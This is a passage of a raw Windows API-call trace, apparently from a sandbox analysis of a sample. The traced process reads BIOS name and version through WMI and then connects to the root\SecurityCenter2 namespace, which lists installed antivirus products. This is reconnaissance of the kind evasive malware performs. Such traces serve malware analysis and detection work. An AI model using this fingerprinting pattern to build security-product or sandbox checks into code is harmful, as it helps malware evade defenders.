wReserved2=0x0, wReserved3=0x0, varVal1="Default System BIOS", varVal2=0x0), pType=0x2a30570*=8, plFlavor=0x2a30574*=0) returned 0x0 [0169.433] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0169.433] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0169.433] IWbemClassObject:Get (in: This=0x1b2207f0, wszName="Name", lFlags=0, pVal=0x1afbc620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a30570*=8, plFlavor=0x2a30574*=0 | out: pVal=0x1afbc620*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Default System BIOS", varVal2=0x0), pType=0x2a30570*=8, plFlavor=0x2a30574*=0) returned 0x0 [0169.433] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0169.433] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0169.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231d60, puCount=0x1afbc618 | out: puCount=0x1afbc618*=0x2) returned 0x0 [0169.433] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc610*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc610*=0xf, pszText=0x0) returned 0x0 [0169.434] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc610*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc610*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.434] IWbemClassObject:Get (in: This=0x1b2207f0, wszName="Version", lFlags=0, pVal=0x1afbc5d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a306e8*=0, plFlavor=0x2a306ec*=0 | out: pVal=0x1afbc5d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="FUJ - 1", varVal2=0x0), pType=0x2a306e8*=8, plFlavor=0x2a306ec*=0) returned 0x0 [0169.434] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0169.434] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0169.434] IWbemClassObject:Get (in: This=0x1b2207f0, wszName="Version", lFlags=0, pVal=0x1afbc620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a306e8*=8, plFlavor=0x2a306ec*=0 | out: pVal=0x1afbc620*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="FUJ - 1", varVal2=0x0), pType=0x2a306e8*=8, plFlavor=0x2a306ec*=0) returned 0x0 [0169.434] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0169.434] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0169.434] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231d60, puCount=0x1afbc618 | out: puCount=0x1afbc618*=0x2) returned 0x0 [0169.434] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc610*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc610*=0xf, pszText=0x0) returned 0x0 [0169.434] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc610*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc610*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.434] IWbemClassObject:Get (in: This=0x1b2207f0, wszName="Version", lFlags=0, pVal=0x1afbc5d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a307c0*=0, plFlavor=0x2a307c4*=0 | out: pVal=0x1afbc5d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="FUJ - 1", varVal2=0x0), pType=0x2a307c0*=8, plFlavor=0x2a307c4*=0) returned 0x0 [0169.434] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0169.434] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0169.434] IWbemClassObject:Get (in: This=0x1b2207f0, wszName="Version", lFlags=0, pVal=0x1afbc620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a307c0*=8, plFlavor=0x2a307c4*=0 | out: pVal=0x1afbc620*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="FUJ - 1", varVal2=0x0), pType=0x2a307c0*=8, plFlavor=0x2a307c4*=0) returned 0x0 [0169.434] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0169.434] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0169.549] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc718 | out: ppv=0x1afbc718*=0x77dd58) returned 0x0 [0169.549] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc708 | out: pAptType=0x1afbc708*=1) returned 0x0 [0169.549] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc710 | out: ppvObject=0x1afbc710*=0x0) returned 0x80004002 [0169.549] IUnknown:Release (This=0x77dd58) returned 0x1 [0169.550] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbbb08 | out: ppv=0x1afbbb08*=0x1b228680) returned 0x0 [0169.550] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b228680, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbbf0 | out: ppvObject=0x1afbbbf0*=0x0) returned 0x80004002 [0169.550] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b228680, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbbc8 | out: ppvObject=0x1afbbbc8*=0x1b231820) returned 0x0 [0169.550] WbemDefPath:IUnknown:Release (This=0x1b228680) returned 0x0 [0169.550] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231820, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb970 | out: ppvObject=0x1afbb970*=0x1b231820) returned 0x0 [0169.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231820, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbba00 | out: ppvObject=0x1afbba00*=0x0) returned 0x80004002 [0169.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231820, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb1f8 | out: ppvObject=0x1afbb1f8*=0x0) returned 0x80004002 [0169.551] WbemDefPath:IUnknown:AddRef (This=0x1b231820) returned 0x3 [0169.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231820, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb0b8 | out: ppvObject=0x1afbb0b8*=0x0) returned 0x80004002 [0169.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231820, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb040 | out: ppvObject=0x1afbb040*=0x0) returned 0x80004002 [0169.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231820, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb030 | out: ppvObject=0x1afbb030*=0x1b228060) returned 0x0 [0169.551] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b228060, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb058 | out: pCid=0x1afbb058*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.551] WbemDefPath:IUnknown:Release (This=0x1b228060) returned 0x3 [0169.551] CoGetContextToken (in: pToken=0x1afbb0e0 | out: pToken=0x1afbb0e0) returned 0x0 [0169.551] CoGetContextToken (in: pToken=0x1afbb560 | out: pToken=0x1afbb560) returned 0x0 [0169.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231820, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb620 | out: ppvObject=0x1afbb620*=0x0) returned 0x80004002 [0169.551] WbemDefPath:IUnknown:Release (This=0x1b231820) returned 0x2 [0169.551] WbemDefPath:IUnknown:Release (This=0x1b231820) returned 0x1 [0169.551] CoGetContextToken (in: pToken=0x1afbc350 | out: pToken=0x1afbc350) returned 0x0 [0169.551] CoGetContextToken (in: pToken=0x1afbc250 | out: pToken=0x1afbc250) returned 0x0 [0169.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231820, riid=0x1afbc3b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1afbc380 | out: ppvObject=0x1afbc380*=0x1b231820) returned 0x0 [0169.552] WbemDefPath:IUnknown:AddRef (This=0x1b231820) returned 0x3 [0169.552] WbemDefPath:IUnknown:Release (This=0x1b231820) returned 0x2 [0169.552] WbemDefPath:IWbemPath:SetText (This=0x1b231820, uMode=0x4, pszPath="root\\SecurityCenter2") returned 0x0 [0169.552] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231820, puCount=0x1afbc738 | out: puCount=0x1afbc738*=0x2) returned 0x0 [0169.552] WbemDefPath:IWbemPath:GetText (in: This=0x1b231820, lFlags=4, puBuffLength=0x1afbc730*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc730*=0x19, pszText=0x0) returned 0x0 [0169.552] WbemDefPath:IWbemPath:GetText (in: This=0x1b231820, lFlags=4, puBuffLength=0x1afbc730*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1afbc730*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0169.552] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231820, puCount=0x1afbc748 | out: puCount=0x1afbc748*=0x2) returned 0x0 [0169.552] WbemDefPath:IWbemPath:GetText (in: This=0x1b231820, lFlags=4, puBuffLength=0x1afbc740*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc740*=0x19, pszText=0x0) returned 0x0 [0169.552] WbemDefPath:IWbemPath:GetText (in: This=0x1b231820, lFlags=4, puBuffLength=0x1afbc740*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1afbc740*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0169.552] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc6c8 | out: ppv=0x1afbc6c8*=0x77dd58) returned 0x0 [0169.552] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc6b8 | out: pAptType=0x1afbc6b8*=1) returned 0x0 [0169.552] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc6c0 | out: ppvObject=0x1afbc6c0*=0x0) returned 0x80004002 [0169.552] IUnknown:Release (This=0x77dd58) returned 0x1 [0169.553] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbbd88 | out: ppv=0x1afbbd88*=0x1b2281a0) returned 0x0 [0169.553] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2281a0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbe70 | out: ppvObject=0x1afbbe70*=0x0) returned 0x80004002 [0169.553] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b2281a0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbe48 | out: ppvObject=0x1afbbe48*=0x1b228660) returned 0x0 [0169.553] WbemLocator:IUnknown:Release (This=0x1b2281a0) returned 0x0 [0169.553] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228660, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbbf0 | out: ppvObject=0x1afbbbf0*=0x1b228660) returned 0x0 [0169.553] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228660, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbc80 | out: ppvObject=0x1afbbc80*=0x0) returned 0x80004002 [0169.553] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228660, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb478 | out: ppvObject=0x1afbb478*=0x0) returned 0x80004002 [0169.553] WbemLocator:IUnknown:AddRef (This=0x1b228660) returned 0x3 [0169.553] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228660, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb338 | out: ppvObject=0x1afbb338*=0x0) returned 0x80004002 [0169.553] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228660, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb2c0 | out: ppvObject=0x1afbb2c0*=0x0) returned 0x80004002 [0169.553] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228660, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb2b0 | out: ppvObject=0x1afbb2b0*=0x0) returned 0x80004002 [0169.553] CoGetContextToken (in: pToken=0x1afbb360 | out: pToken=0x1afbb360) returned 0x0 [0169.554] CoGetContextToken (in: pToken=0x1afbb7e0 | out: pToken=0x1afbb7e0) returned 0x0 [0169.554] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228660, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb8a0 | out: ppvObject=0x1afbb8a0*=0x0) returned 0x80004002 [0169.554] WbemLocator:IUnknown:Release (This=0x1b228660) returned 0x2 [0169.554] WbemLocator:IUnknown:Release (This=0x1b228660) returned 0x1 [0169.554] CoGetContextToken (in: pToken=0x1afbc220 | out: pToken=0x1afbc220) returned 0x0 [0169.554] CoGetContextToken (in: pToken=0x1afbc120 | out: pToken=0x1afbc120) returned 0x0 [0169.554] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228660, riid=0x1afbc280*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1afbc250 | out: ppvObject=0x1afbc250*=0x1b228660) returned 0x0 [0169.554] WbemLocator:IUnknown:AddRef (This=0x1b228660) returned 0x3 [0169.554] WbemLocator:IUnknown:Release (This=0x1b228660) returned 0x2 [0169.554] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231820, puCount=0x1afbc658 | out: puCount=0x1afbc658*=0x2) returned 0x0 [0169.554] WbemDefPath:IWbemPath:GetText (in: This=0x1b231820, lFlags=8, puBuffLength=0x1afbc650*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc650*=0x19, pszText=0x0) returned 0x0 [0169.554] WbemDefPath:IWbemPath:GetText (in: This=0x1b231820, lFlags=8, puBuffLength=0x1afbc650*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1afbc650*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0169.554] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1afbc390 | out: ppv=0x1afbc390*=0x1b2281a0) returned 0x0 [0169.554] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b2281a0, strNetworkResource="\\\\.\\root\\SecurityCenter2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1afbc518 | out: ppNamespace=0x1afbc518*=0x1b2181d0) returned 0x0 [0169.578] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2181d0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc208 | out: ppvObject=0x1afbc208*=0x1b2338f0) returned 0x0 [0169.578] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b2338f0, pProxy=0x1b2181d0, pAuthnSvc=0x1afbc2d0, pAuthzSvc=0x1afbc250, pServerPrincName=0x1afbc278, pAuthnLevel=0x1afbc254, pImpLevel=0x1afbc260, pAuthInfo=0x1afbc288, pCapabilites=0x1afbc264 | out: pAuthnSvc=0x1afbc2d0*=0xa, pAuthzSvc=0x1afbc250*=0x0, pServerPrincName=0x1afbc278, pAuthnLevel=0x1afbc254*=0x6, pImpLevel=0x1afbc260*=0x2, pAuthInfo=0x1afbc288, pCapabilites=0x1afbc264*=0x1) returned 0x0 [0169.578] WbemLocator:IUnknown:Release (This=0x1b2338f0) returned 0x1 [0169.578] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2181d0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc1a0 | out: ppvObject=0x1afbc1a0*=0x1b233938) returned 0x0 [0169.578] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2181d0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc1b0 | out: ppvObject=0x1afbc1b0*=0x1b2338f0) returned 0x0 [0169.579] WbemLocator:IClientSecurity:SetBlanket (This=0x1b2338f0, pProxy=0x1b2181d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0169.579] WbemLocator:IUnknown:Release (This=0x1b2338f0) returned 0x2 [0169.579] WbemLocator:IUnknown:Release (This=0x1b233938) returned 0x1 [0169.579] CoTaskMemFree (pv=0x1b204250) [0169.579] WbemLocator:IUnknown:Release (This=0x1b2281a0) returned 0x0 [0169.579] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2181d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbca0 | out: ppvObject=0x1afbbca0*=0x1b233938) returned 0x0 [0169.579] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233938, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbd30 | out: ppvObject=0x1afbbd30*=0x0) returned 0x80004002 [0169.581] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233938, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb950 | out: ppvObject=0x1afbb950*=0x0) returned 0x80004002 [0169.582] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2181d0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb528 | out: ppvObject=0x1afbb528*=0x0) returned 0x80004002 [0169.584] WbemLocator:IUnknown:AddRef (This=0x1b233938) returned 0x3 [0169.584] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233938, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb3e8 | out: ppvObject=0x1afbb3e8*=0x0) returned 0x80004002 [0169.584] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233938, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb370 | out: ppvObject=0x1afbb370*=0x0) returned 0x80004002 [0169.584] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233938, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb360 | out: ppvObject=0x1afbb360*=0x1b233818) returned 0x0 [0169.584] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b233818, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb388 | out: pCid=0x1afbb388*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.584] WbemLocator:IUnknown:Release (This=0x1b233818) returned 0x3 [0169.584] CoGetContextToken (in: pToken=0x1afbb410 | out: pToken=0x1afbb410) returned 0x0 [0169.584] CoGetContextToken (in: pToken=0x1afbb890 | out: pToken=0x1afbb890) returned 0x0 [0169.584] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233938, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb950 | out: ppvObject=0x1afbb950*=0x1b233900) returned 0x0 [0169.584] WbemLocator:IRpcOptions:Query (in: This=0x1b233900, pPrx=0x1b233938, dwProperty=2, pdwValue=0x1afbb940 | out: pdwValue=0x1afbb940) returned 0x80004002 [0169.584] WbemLocator:IUnknown:Release (This=0x1b233900) returned 0x3 [0169.584] WbemLocator:IUnknown:Release (This=0x1b233938) returned 0x2 [0169.584] CoGetContextToken (in: pToken=0x1afbbf50 | out: pToken=0x1afbbf50) returned 0x0 [0169.584] CoGetContextToken (in: pToken=0x1afbbe50 | out: pToken=0x1afbbe50) returned 0x0 [0169.584] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233938, riid=0x1afbbfb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1afbbf80 | out: ppvObject=0x1afbbf80*=0x1b2181d0) returned 0x0 [0169.584] WbemLocator:IUnknown:AddRef (This=0x1b2181d0) returned 0x4 [0169.584] WbemLocator:IUnknown:Release (This=0x1b2181d0) returned 0x3 [0169.584] WbemLocator:IUnknown:Release (This=0x1b2181d0) returned 0x2 [0169.585] SysStringLen (param_1=0x0) returned 0x0 [0169.585] CoGetContextToken (in: pToken=0x1afbc090 | out: pToken=0x1afbc090) returned 0x0 [0169.585] WbemLocator:IUnknown:AddRef (This=0x1b233938) returned 0x3 [0169.585] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233938, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, 